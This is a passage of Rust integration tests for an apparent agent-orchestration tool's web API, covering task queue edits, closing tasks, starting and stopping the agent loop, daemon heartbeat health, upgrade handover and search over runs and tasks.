16749        // The judge is an agent now: a repo whose only agent answers
16750        // "duplicate" stands in for it, so the refusal is the judge's.
16751        let tmp = TempDir::new().expect("tempdir");
16752        let repo = tmp.path().join("repo");
16753        std::fs::create_dir_all(&repo).expect("repo dir");
16754        let judge = MOCK_AGENT_TOML.replace(
16755            "printf ok",
16756            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
16757        );
16758        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
16759        let f = Fixture::with_repo(repo.clone()).await;
16760        let queue = f.queue();
16761        let mut owner = Task::new(
16762            "owner".to_owned(),
16763            "review it".to_owned(),
16764            repo.clone(),
16765            Source::Human,
16766        );
16767        owner.review_branch = Some("magi/ab12/A".to_owned());
16768        queue.put(&mut owner).expect("file the owner");
16769        let mut task = Task::new(
16770            "draft".to_owned(),
16771            "old".to_owned(),
16772            repo.clone(),
16773            Source::Human,
16774        );
16775        queue.put(&mut task).expect("file the draft");
16776        let url = format!("/api/queue/{}/edit", task.id);
16777
16778        let refused = f
16779            .post(
16780                &url,
16781                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
16782            )
16783            .await;
16784        assert_eq!(refused.status, 409, "{}", refused.body);
16785        let msg = refused.json()["error"]
16786            .as_str()
16787            .unwrap_or_default()
16788            .to_owned();
16789        assert!(
16790            msg.contains("magi/ab12/A") && msg.contains("force"),
16791            "{msg}"
16792        );
16793        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
16794
16795        let forced = f
16796            .post(
16797                &url,
16798                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
16799            )
16800            .await;
16801        assert_eq!(forced.status, 200, "{}", forced.body);
16802    }
16803
16804    #[tokio::test]
16805    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
16806        let f = Fixture::start().await;
16807        let queue = f.queue();
16808        let mut task = Task::new(
16809            "in flight".to_owned(),
16810            "do not touch".to_owned(),
16811            PathBuf::from("/repo/magi"),
16812            Source::Human,
16813        );
16814        task.start("20260902-140502-bbbb".to_owned());
16815        queue.put(&mut task).expect("file the task");
16816
16817        let res = f
16818            .post(
16819                &format!("/api/queue/{}/edit", task.id),
16820                Some(r#"{"title":"x","instruction":"y"}"#),
16821            )
16822            .await;
16823        assert_eq!(res.status, 400, "{}", res.body);
16824        assert!(
16825            res.json()["error"]
16826                .as_str()
16827                .is_some_and(|e| e.contains("running")),
16828            "{}",
16829            res.body
16830        );
16831        assert_eq!(
16832            queue.get(&task.id).expect("reload").instruction,
16833            "do not touch",
16834            "the refused edit must not change the file"
16835        );
16836    }
16837
16838    #[tokio::test]
16839    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
16840        let f = Fixture::start().await;
16841        let queue = f.queue();
16842        let mut task = Task::new(
16843            "busy".to_owned(),
16844            "Running right now".to_owned(),
16845            PathBuf::from("/repo/magi"),
16846            Source::Human,
16847        );
16848        queue.put(&mut task).expect("file the task");
16849        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16850
16851        let priority = f
16852            .post(
16853                &format!("/api/queue/{}/priority", task.id),
16854                Some(r#"{"priority":9}"#),
16855            )
16856            .await;
16857        assert_eq!(priority.status, 409, "{}", priority.body);
16858
16859        let edit = f
16860            .post(
16861                &format!("/api/queue/{}/edit", task.id),
16862                Some(r#"{"title":"x","instruction":"y"}"#),
16863            )
16864            .await;
16865        assert_eq!(edit.status, 409, "{}", edit.body);
16866    }
16867
16868    #[tokio::test]
16869    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16870        let f = Fixture::start().await;
16871        let queue = f.queue();
16872        let mut task = Task::new(
16873            "shipped by hand".to_owned(),
16874            "merged outside the loop".to_owned(),
16875            PathBuf::from("/repo/magi"),
16876            Source::Agent {
16877                run: "20260101-000000-b455".to_owned(),
16878                node: "implement".to_owned(),
16879            },
16880        );
16881        task.runs.push("20260101-000000-b455".to_owned());
16882        task.runs.push("20260101-000000-9af4".to_owned());
16883        queue.put(&mut task).expect("file the task");
16884        let created_at = task.created_at;
16885
16886        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16887        assert_eq!(done.status, 200, "{}", done.body);
16888        assert_eq!(done.json()["status_str"], "done");
16889
16890        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16891        assert_eq!(
16892            reloaded.runs,
16893            ["20260101-000000-b455", "20260101-000000-9af4"]
16894        );
16895        assert_eq!(
16896            reloaded.source,
16897            Source::Agent {
16898                run: "20260101-000000-b455".to_owned(),
16899                node: "implement".to_owned(),
16900            }
16901        );
16902        assert_eq!(reloaded.created_at, created_at);
16903    }
16904
16905    #[tokio::test]
16906    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16907        // `done` is allowed on any status, including `held`, with no release
16908        // in between - so a task held for a reason and then closed directly
16909        // must not keep reading as "waiting on" it afterwards, on its card or
16910        // in `magi task show`.
16911        let f = Fixture::start().await;
16912        let queue = f.queue();
16913        let mut task = Task::new(
16914            "landed while held".to_owned(),
16915            "x".to_owned(),
16916            PathBuf::from("/repo/magi"),
16917            Source::Human,
16918        );
16919        task.hold_manual(Some("waiting on 3ed9".to_owned()));
16920        queue.put(&mut task).expect("file the held task");
16921
16922        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16923        assert_eq!(done.status, 200, "{}", done.body);
16924        assert_eq!(done.json()["status_str"], "done");
16925        assert!(
16926            done.json()["hold_reason"].is_null(),
16927            "a done task cannot still be waiting on something: {}",
16928            done.body
16929        );
16930    }
16931
16932    #[tokio::test]
16933    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16934        // `queue_done` is the phone's way to close a task the loop never
16935        // settled itself - after confirming a manual GitHub merge, say - and
16936        // that is just as much "this task's story is over" as the loop's own
16937        // `Merged`/`Ready` path, so it must trigger the same cleanup.
16938        let f = Fixture::start().await;
16939        let queue = f.queue();
16940        let runs = f.runs();
16941        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16942        // The last attempt has to have actually landed for the earlier one
16943        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
16944        // for the case where it didn't.
16945        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16946
16947        let mut task = Task::new(
16948            "landed by hand".to_owned(),
16949            "x".to_owned(),
16950            PathBuf::from("/repo/magi"),
16951            Source::Human,
16952        );
16953        task.runs.push("20260101-000000-doa1".to_owned());
16954        task.runs.push("20260101-000000-doa2".to_owned());
16955        queue.put(&mut task).expect("file the task");
16956
16957        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16958        assert_eq!(done.status, 200, "{}", done.body);
16959
16960        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16961            .expect("run still on disk under this fixture's own home");
16962        assert_eq!(
16963            reloaded_run.status,
16964            RunStatus::Superseded,
16965            "closing the task by hand must relabel the earlier blocked attempt exactly \
16966             like the loop's own settle path does"
16967        );
16968    }
16969
16970    #[tokio::test]
16971    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16972        // Closing a task by hand is allowed from any status, including one
16973        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
16974        // manual merge the loop never watched, say. Nothing here is provably
16975        // why the task is done, so nothing earlier gets relabelled either.
16976        let f = Fixture::start().await;
16977        let queue = f.queue();
16978        let runs = f.runs();
16979        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16980        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16981
16982        let mut task = Task::new(
16983            "closed with nothing actually landed".to_owned(),
16984            "x".to_owned(),
16985            PathBuf::from("/repo/magi"),
16986            Source::Human,
16987        );
16988        task.runs.push("20260101-000000-dob1".to_owned());
16989        task.runs.push("20260101-000000-dob2".to_owned());
16990        queue.put(&mut task).expect("file the task");
16991
16992        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16993        assert_eq!(done.status, 200, "{}", done.body);
16994
16995        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16996            .expect("run still on disk under this fixture's own home");
16997        assert_eq!(
16998            reloaded_run.status,
16999            RunStatus::Blocked,
17000            "the last recorded attempt never landed, so the earlier one must not be \
17001             relabelled as superseded by it"
17002        );
17003    }
17004
17005    #[tokio::test]
17006    async fn unknown_ids_are_json_not_found_on_both_stores() {
17007        let f = Fixture::start().await;
17008
17009        let run = f.get("/api/runs/nosuchrun").await;
17010        let task = f.post("/api/queue/nosuchtask/hold", None).await;
17011
17012        assert_eq!(run.status, 404);
17013        assert_eq!(task.status, 404);
17014        assert!(
17015            run.json()["error"]
17016                .as_str()
17017                .is_some_and(|e| e.contains("run")),
17018            "the error names what was not found: {}",
17019            run.body
17020        );
17021        assert!(
17022            task.json()["error"]
17023                .as_str()
17024                .is_some_and(|e| e.contains("task")),
17025            "the error names what was not found: {}",
17026            task.body
17027        );
17028    }
17029
17030    #[tokio::test]
17031    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17032        let f = Fixture::start().await;
17033
17034        let missing = f.get("/api/health").await.json();
17035        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17036
17037        write_daemon(
17038            f.home.path(),
17039            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17040        );
17041        let stale = f.get("/api/health").await.json();
17042        assert_eq!(
17043            stale["daemon"]["running"], false,
17044            "a minute without a heartbeat is a dead daemon, not a busy one"
17045        );
17046        assert!(
17047            stale["daemon"]["stale_for_secs"]
17048                .as_i64()
17049                .is_some_and(|s| s >= 55),
17050            "staleness is reported so the UI can say how long: {stale}"
17051        );
17052
17053        write_daemon(f.home.path(), Timestamp::now());
17054        let fresh = f.get("/api/health").await.json();
17055        assert_eq!(fresh["daemon"]["running"], true);
17056        assert_eq!(fresh["daemon"]["idle"], false);
17057        assert_eq!(fresh["daemon"]["pid"], 4242);
17058        assert_eq!(fresh["daemon"]["completed"], 7);
17059        assert_eq!(
17060            fresh["daemon"]["current"][0]["task"],
17061            "20260902-140501-aaaa"
17062        );
17063        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17064    }
17065
17066    #[tokio::test]
17067    async fn the_loop_is_not_running_until_something_starts_it() {
17068        let f = Fixture::start().await;
17069
17070        let view = f.get("/api/loop").await.json();
17071        assert_eq!(view["running"], false);
17072        assert_eq!(
17073            view["owned"], false,
17074            "nobody owns a loop that does not exist: {view}"
17075        );
17076        assert_eq!(view["stopping"], false);
17077        assert_eq!(view["last_error"], Value::Null);
17078        assert_eq!(view["daemon"]["running"], false);
17079        assert_eq!(
17080            view["repo"], "/repo/magi",
17081            "the repository a start would use, named before it is started"
17082        );
17083    }
17084
17085    #[tokio::test]
17086    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17087        let f = Fixture::start().await;
17088
17089        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17090        assert_eq!(res.status, 200, "{}", res.body);
17091        let view = res.json();
17092        assert_eq!(view["running"], true);
17093        assert_eq!(
17094            view["owned"], true,
17095            "the loop the UI started is the UI's own to stop: {view}"
17096        );
17097        assert_eq!(
17098            view["merge"],
17099            Value::Null,
17100            "no override was given, so each repository's own config decides"
17101        );
17102
17103        // The same object from the route a waking phone polls first. Two
17104        // surfaces disagreeing about whether anything is running is exactly
17105        // the confusion this UI exists to remove.
17106        let health = f.get("/api/health").await.json();
17107        assert_eq!(health["loop"]["running"], true, "{health}");
17108        assert_eq!(health["loop"]["owned"], true, "{health}");
17109
17110        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17111    }
17112
17113    #[tokio::test]
17114    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17115        let f = Fixture::start().await;
17116        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17117        assert_eq!(first.status, 200, "{}", first.body);
17118
17119        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17120        assert_eq!(
17121            again.status, 409,
17122            "two loops on one queue race for the same claims: {}",
17123            again.body
17124        );
17125        assert!(
17126            again.json()["error"]
17127                .as_str()
17128                .is_some_and(|e| e.contains("already running the loop")),
17129            "the refusal has to say why: {}",
17130            again.body
17131        );
17132        assert_eq!(
17133            f.get("/api/loop").await.json()["running"],
17134            true,
17135            "and the loop that was already running is untouched by it"
17136        );
17137
17138        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17139    }
17140
17141    #[tokio::test]
17142    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17143        let f = Fixture::start().await;
17144        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17145
17146        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17147        assert_eq!(
17148            res.status, 200,
17149            "the answer must not wait for the loop: a run in flight is tens of \
17150             minutes and the operator is holding a phone: {}",
17151            res.body
17152        );
17153
17154        let view = settled(&f, |v| v["running"] == false).await;
17155        assert_eq!(view["owned"], false);
17156        assert_eq!(
17157            view["stopping"], false,
17158            "a loop that has stopped is not still stopping: {view}"
17159        );
17160        assert_eq!(
17161            view["last_error"],
17162            Value::Null,
17163            "a loop that was asked to stop did not fail: {view}"
17164        );
17165
17166        // Idempotent, because the operator cannot tell a slow stop from a lost
17167        // one and will press it again.
17168        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17169        assert_eq!(twice.status, 200, "{}", twice.body);
17170    }
17171
17172    #[tokio::test]
17173    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17174        let f = Fixture::start().await;
17175        // How the operator has been doing it: a `magi serve` of their own,
17176        // heartbeat fresh, in the same home this UI reads.
17177        write_daemon(f.home.path(), Timestamp::now());
17178
17179        let view = f.get("/api/loop").await.json();
17180        assert_eq!(view["running"], false, "not in this process: {view}");
17181        assert_eq!(view["owned"], false, "and not this process's to control");
17182        assert_eq!(
17183            view["daemon"]["running"], true,
17184            "but a loop is alive somewhere, which is what the UI must say"
17185        );
17186        assert_eq!(view["daemon"]["pid"], 4242);
17187
17188        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17189            let res = f.post("/api/loop", Some(body)).await;
17190            assert_eq!(
17191                res.status, 409,
17192                "neither button may pretend to work on someone else's loop: {}",
17193                res.body
17194            );
17195            assert!(
17196                res.json()["error"]
17197                    .as_str()
17198                    .is_some_and(|e| e.contains("4242")),
17199                "the refusal has to name the process the operator must go to: {}",
17200                res.body
17201            );
17202        }
17203        assert_eq!(
17204            f.get("/api/loop").await.json()["running"],
17205            false,
17206            "and the refusal started nothing"
17207        );
17208    }
17209
17210    #[tokio::test]
17211    async fn a_stale_status_file_is_not_a_foreign_owner() {
17212        let f = Fixture::start().await;
17213        write_daemon(
17214            f.home.path(),
17215            Timestamp::now() - jiff::SignedDuration::from_secs(60),
17216        );
17217
17218        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17219        assert_eq!(
17220            res.status, 200,
17221            "a daemon killed a minute ago must not lock the loop out of its \
17222             own home for good: {}",
17223            res.body
17224        );
17225        assert_eq!(res.json()["running"], true);
17226
17227        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17228    }
17229
17230    #[tokio::test]
17231    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17232        let f = Fixture::start().await;
17233        let before = f.get("/api/health").await.json()["loop_rev"]
17234            .as_u64()
17235            .expect("a loop revision");
17236
17237        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17238
17239        let after = f.get("/api/health").await.json()["loop_rev"]
17240            .as_u64()
17241            .expect("a loop revision");
17242        assert!(
17243            after > before,
17244            "the loop is in-process state, so this counter is the only thing \
17245             that tells a second device the first one started it: {before} -> \
17246             {after}"
17247        );
17248
17249        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17250    }
17251
17252    #[tokio::test]
17253    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17254        let f = Fixture::with_loop(launch_broken).await;
17255
17256        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17257        assert_eq!(
17258            res.status, 200,
17259            "starting it is not the failure: {}",
17260            res.body
17261        );
17262
17263        let view = settled(&f, |v| v["last_error"].is_string()).await;
17264        assert_eq!(
17265            view["running"], false,
17266            "a loop that died must not read as running, or the operator has \
17267             nothing to press: {view}"
17268        );
17269        assert_eq!(view["owned"], false);
17270        assert!(
17271            view["last_error"]
17272                .as_str()
17273                .is_some_and(|e| e.contains("read-only file system")),
17274            "the phone is where a loop that died at 3am is visible: {view}"
17275        );
17276
17277        // And it can be started again: the corpse was reaped, not left to
17278        // occupy the slot.
17279        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17280        assert_eq!(again.status, 200, "{}", again.body);
17281        assert!(
17282            again.json()["last_error"]
17283                .as_str()
17284                .is_none_or(|e| !e.contains("read-only file system")),
17285            "a fresh start does not keep showing why the last one died: {}",
17286            again.body
17287        );
17288    }
17289
17290    /// An upgrade parks the run in flight before it restarts, and a park waits
17291    /// for the node - up to `timeout_implement`, an hour by default. The deck
17292    /// has to answer for all of it: the operator has just been told a run is
17293    /// finishing first, and this address is the only place that says how it is
17294    /// going. It did not, once - the listener went with the `select!` arm that
17295    /// began the handover, and the phone got `Cannot reach magi: Failed to
17296    /// fetch` for the rest of the wave.
17297    ///
17298    /// The other half is the older rule: the address must be free *before* the
17299    /// successor is started, or it dies on "address already in use" with its
17300    /// stdio sent to null and the deck never comes back.
17301    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
17302    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
17303        let home = TempDir::new().expect("temp home");
17304        let runs = home.path().join("runs");
17305        std::fs::create_dir_all(&runs).expect("runs dir");
17306        let ui = Ui::new(
17307            Queue::at(home.path().join("queue")),
17308            Questions::at(home.path().join("questions")),
17309            Talks::at(home.path().join("talks")),
17310            runs,
17311            home.path().to_path_buf(),
17312            PathBuf::from("/repo/magi"),
17313        )
17314        .with_worktrees_root(home.path().join("wt"))
17315        .with_launch(launch_knocking_on_the_way_out);
17316        let looping = ui.looping();
17317        let turns = ui.turns();
17318        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17319            .await
17320            .expect("bind loopback");
17321        let addr = listener.local_addr().expect("local addr");
17322        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
17323        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17324
17325        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
17326        assert_eq!(started.status, 200, "the loop starts: {}", started.body);
17327
17328        // The successor's whole job, and the one thing it cannot do while this
17329        // process still holds the socket.
17330        //
17331        // One bind is not enough, and the reason is not this process's order of
17332        // operations: aborting the accept loop drops the listener, but axum
17333        // serves each accepted connection on a task of its own, and those are
17334        // not aborted. The requests above left sockets on this very address,
17335        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
17336        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
17337        // Production absorbs that in `bind_waiting`; so does this. Only
17338        // `AddrInUse` is retried, and the listener is released before the
17339        // closure returns - were the order wrong, the listener would outlive
17340        // the closure and every attempt would fail. Inferred from the bind
17341        // rules and the code; not reproduced on macOS.
17342        let bound = std::sync::Mutex::new(None);
17343        hand_over(
17344            home.path(),
17345            &looping,
17346            &turns,
17347            &|_: &[String]| Duration::from_secs(5),
17348            served,
17349            |_| {
17350                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
17351                let attempt = loop {
17352                    match std::net::TcpListener::bind(addr) {
17353                        Ok(l) => {
17354                            drop(l);
17355                            break Ok(());
17356                        }
17357                        Err(e)
17358                            if e.kind() == std::io::ErrorKind::AddrInUse
17359                                && std::time::Instant::now() < deadline =>
17360                        {
17361                            std::thread::sleep(std::time::Duration::from_millis(10));
17362                        }
17363                        Err(e) => break Err(e.to_string()),
17364                    }
17365                };
17366                *bound.lock().expect("bound") = Some(attempt);
17367                Ok(1)
17368            },
17369        )
17370        .await
17371        .expect("hand over");
17372
17373        assert_eq!(
17374            *PARK_HEARD.lock().expect("park heard"),
17375            Some(200),
17376            "the deck must answer while the loop is parking"
17377        );
17378        let attempt = bound
17379            .lock()
17380            .expect("bound")
17381            .take()
17382            .expect("the successor was started");
17383        assert!(
17384            attempt.is_ok(),
17385            "and the address must be free by the time it is: {attempt:?}"
17386        );
17387    }
17388
17389    #[tokio::test]
17390    async fn a_newer_daemon_status_file_still_renders() {
17391        let f = Fixture::start().await;
17392        // A field this build has never heard of must not turn the status line
17393        // into a 500; that is the whole reason the reader is permissive.
17394        std::fs::write(
17395            f.home.path().join("daemon.json"),
17396            serde_json::json!({
17397                "schema": 2,
17398                "updated_at": Timestamp::now().to_string(),
17399                "idle": true,
17400                "surprise": { "nested": [1, 2, 3] },
17401            })
17402            .to_string(),
17403        )
17404        .expect("write daemon.json");
17405
17406        let health = f.get("/api/health").await;
17407
17408        assert_eq!(health.status, 200);
17409        assert_eq!(health.json()["daemon"]["running"], true);
17410    }
17411
17412    #[tokio::test]
17413    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17414        let f = Fixture::start().await;
17415        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17416        let broken = f.runs().join("20260902-140502-bad");
17417        std::fs::create_dir_all(&broken).expect("run dir");
17418        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17419
17420        let list = f.get("/api/runs").await;
17421        let detail = f.get("/api/runs/20260902-140502-bad").await;
17422
17423        assert_eq!(list.status, 200);
17424        let listed = list.json();
17425        let ids: Vec<&str> = listed
17426            .as_array()
17427            .expect("an array")
17428            .iter()
17429            .map(|r| r["id"].as_str().expect("an id"))
17430            .collect();
17431        assert_eq!(
17432            ids,
17433            vec!["20260902-140501-good"],
17434            "one unreadable run must not cost the operator the whole history"
17435        );
17436        assert_eq!(detail.status, 500);
17437        assert!(
17438            detail.json()["error"]
17439                .as_str()
17440                .is_some_and(|e| e.contains("run.json")),
17441            "the failure names the file to look at: {}",
17442            detail.body
17443        );
17444        // A skipped run has to be countable somewhere, or the UI shows an
17445        // empty history with nothing to explain it - which is exactly what a
17446        // directory full of older-schema runs looks like.
17447        let health = f.get("/api/health").await;
17448        assert_eq!(health.json()["runs_unreadable"], 1);
17449    }
17450
17451    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
17452    #[tokio::test]
17453    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17454        let f = Fixture::start().await;
17455        let runs = f.runs();
17456        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17457        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17458        // Text three levels down, in a shape no current RunState has: an older
17459        // schema must still search.
17460        let path = runs.join("20260902-140502-bbbb").join("run.json");
17461        let mut v: serde_json::Value =
17462            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17463        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17464        std::fs::write(&path, v.to_string()).unwrap();
17465        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17466        std::fs::write(
17467            runs.join("20260902-140503-cccc").join("run.json"),
17468            "{ not json",
17469        )
17470        .unwrap();
17471
17472        let res = f.get("/api/search?scope=runs&q=quokka").await;
17473        assert_eq!(res.status, 200, "{}", res.body);
17474        let v = res.json();
17475        assert_eq!(v["total"], 1, "{v}");
17476        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17477        assert_eq!(v["hits"][0]["field"], "text");
17478        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17479        let parts = v["hits"][0]["snippet"].as_array().unwrap();
17480        assert!(
17481            parts
17482                .iter()
17483                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17484            "{v}"
17485        );
17486        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17487        assert_eq!(
17488            flat, "The Quokka leaks across threads",
17489            "whitespace is collapsed"
17490        );
17491
17492        // Terms are ANDed, across different fields, case-insensitively.
17493        let both = f
17494            .get("/api/search?scope=runs&q=MOBILE%20quokka")
17495            .await
17496            .json();
17497        assert_eq!(both["total"], 1, "{both}");
17498        let neither = f
17499            .get("/api/search?scope=runs&q=quokka%20zebra")
17500            .await
17501            .json();
17502        assert_eq!(neither["total"], 0, "{neither}");
17503        // Everything in the task statement is reachable, not only the row text.
17504        let stmt = f
17505            .get("/api/search?scope=runs&q=mobile%20first")
17506            .await
17507            .json();
17508        assert_eq!(stmt["total"], 2, "{stmt}");
17509        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17510        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17511    }
17512
17513    #[test]
17514    fn snippet_ignores_terms_longer_than_the_field() {
17515        let terms = ["ok".to_owned(), "elephant".to_owned()];
17516        let parts = snippet_of("ok", &terms);
17517        assert_eq!(
17518            parts,
17519            vec![SnippetPart {
17520                text: "ok".to_owned(),
17521                hit: true
17522            }]
17523        );
17524    }
17525
17526    #[test]
17527    fn snippet_marks_matches_longer_than_the_window() {
17528        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17529        let hit_len = |parts: &[SnippetPart]| -> usize {
17530            parts
17531                .iter()
17532                .filter(|p| p.hit)
17533                .map(|p| p.text.chars().count())
17534                .sum()
17535        };
17536        let total =
17537            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17538
17539        let long = "a".repeat(120);
17540        let parts = snippet_of(&long, std::slice::from_ref(&long));
17541        assert!(hit_len(&parts) > 0, "{parts:?}");
17542        assert!(total(&parts) <= cap);
17543
17544        let ja = "あ".repeat(130);
17545        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17546        assert!(hit_len(&parts) > 0, "{parts:?}");
17547        assert!(total(&parts) <= cap);
17548
17549        // A short hit, then one straddling the window's end.
17550        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17551        let term = format!("ab{}", "c".repeat(100));
17552        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17553        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17554        assert!(total(&parts) <= cap);
17555
17556        // Only the head matches: not highlighted.
17557        let text = format!("{}z", "a".repeat(119));
17558        let parts = snippet_of(&text, &["a".repeat(120)]);
17559        assert_eq!(hit_len(&parts), 0, "{parts:?}");
17560    }
17561
17562    #[tokio::test]
17563    async fn search_caps_hits_and_snippet_length() {
17564        let f = Fixture::start().await;
17565        let runs = f.runs();
17566        for n in 0..(SEARCH_MAX_HITS + 5) {
17567            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17568        }
17569        let v = f.get("/api/search?scope=runs&q=web").await.json();
17570        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17571        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17572        assert_eq!(v["truncated"], true);
17573        // Every listed run hit carries its list row for the page's filters.
17574        assert!(
17575            v["hits"]
17576                .as_array()
17577                .unwrap()
17578                .iter()
17579                .all(|h| h["run"]["status"] == "merged")
17580        );
17581
17582        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17583        let parts = snippet_of(&long, &["needle".to_owned()]);
17584        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17585        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17586        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17587    }
17588
17589    #[tokio::test]
17590    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17591        let f = Fixture::start().await;
17592        let queue = f.queue();
17593        let mut t = Task::new(
17594            "short title".to_owned(),
17595            "line one\nthe hidden Armadillo detail".to_owned(),
17596            PathBuf::from("/repo/magi"),
17597            Source::Agent {
17598                run: "r1".to_owned(),
17599                node: "chat".to_owned(),
17600            },
17601        );
17602        t.last_error = Some("disk full on /tmp".to_owned());
17603        queue.put(&mut t).expect("file the task");
17604
17605        for (q, want) in [
17606            ("armadillo", 1),
17607            ("disk%20FULL", 1),
17608            ("chat", 1),
17609            ("queued", 1),
17610            ("short%20nothing", 0),
17611        ] {
17612            let v = f
17613                .get(&format!("/api/search?scope=tasks&q={q}"))
17614                .await
17615                .json();
17616            assert_eq!(v["total"], want, "{q}: {v}");
17617        }
17618        for bad in [
17619            "/api/search?scope=tasks&q=",
17620            "/api/search?scope=tasks&q=%20",
17621            "/api/search?scope=chats&q=",
17622            "/api/search?scope=chats&q=%20",
17623            "/api/search?scope=nope&q=a",
17624            "/api/search?q=a",
17625        ] {
17626            assert_eq!(f.get(bad).await.status, 400, "{bad}");
17627        }
17628    }
17629
17630    /// Write one conversation file the way the store reads it back.
17631    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17632        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17633            .expect("seat value");
17634        let turns: Vec<serde_json::Value> = turns
17635            .iter()
17636            .map(|(who, body)| {
17637                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17638            })
17639            .collect();
17640        let doc = serde_json::json!({
17641            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17642            "status": status, "turns": turns,
17643            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17644            "seat": seat,
17645        });
17646        let dir = f.home.path().join("talks");
17647        std::fs::create_dir_all(&dir).expect("talks dir");
17648        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17649    }
17650
17651    #[tokio::test]
17652    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17653        let f = Fixture::start().await;
